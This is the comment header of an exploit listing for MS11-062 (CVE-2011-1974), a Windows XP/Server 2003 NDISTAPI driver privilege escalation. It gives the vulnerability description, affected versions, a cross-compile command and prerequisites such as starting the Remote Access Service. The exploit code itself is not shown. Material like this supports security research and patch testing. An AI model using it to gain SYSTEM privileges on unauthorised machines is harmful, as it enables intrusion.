# Exploit Title: Windows x86 (all versions) NDISTAPI privilege escalation (MS11-062)
# Date: 2016-10-24
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP Pro SP2 x64
#   Windows Server 2003 SP2 x86
#   Windows Server 2003 SP2 x64
#   Windows Server 2003 SP2 Itanium-based Systems 
# Supported Vulnerable Software:
#   Windows XP SP3 x86
#   Windows Server 2003 SP2 x86
# Tested Software:
#   Windows XP Pro SP3 x86 EN          [5.1.2600]
#   Windows Server 2003 Ent SP2 EN     [5.2.3790]
# CVE ID: 2011-1974
################################################################
# Vulnerability description:
#   An elevation of privilege vulnerability exists in the
#   NDISTAPI.sys component of the Remote Access Service NDISTAPI
#   driver. The vulnerability is caused when the NDISTAPI driver
#   improperly validates user-supplied input when passing data
#   from user mode to the Windows kernel.
#   An attacker must have valid logon credentials and be able to
#   log on locally to exploit the vulnerability.
#   An attacker who successfully exploited this vulnerability could
#   run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the invoking shell/process
#   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
#     - # i686-w64-mingw32-gcc MS11-062.c -o MS11-062.exe -lws2_32
#   Exploit prerequisites:
#     - low privilege access to the target OS
#     - target OS not patched (KB2566454)
#     - Remote Access Service (RAS) running
#       - sc query remoteaccess
#       - sc start remoteaccess
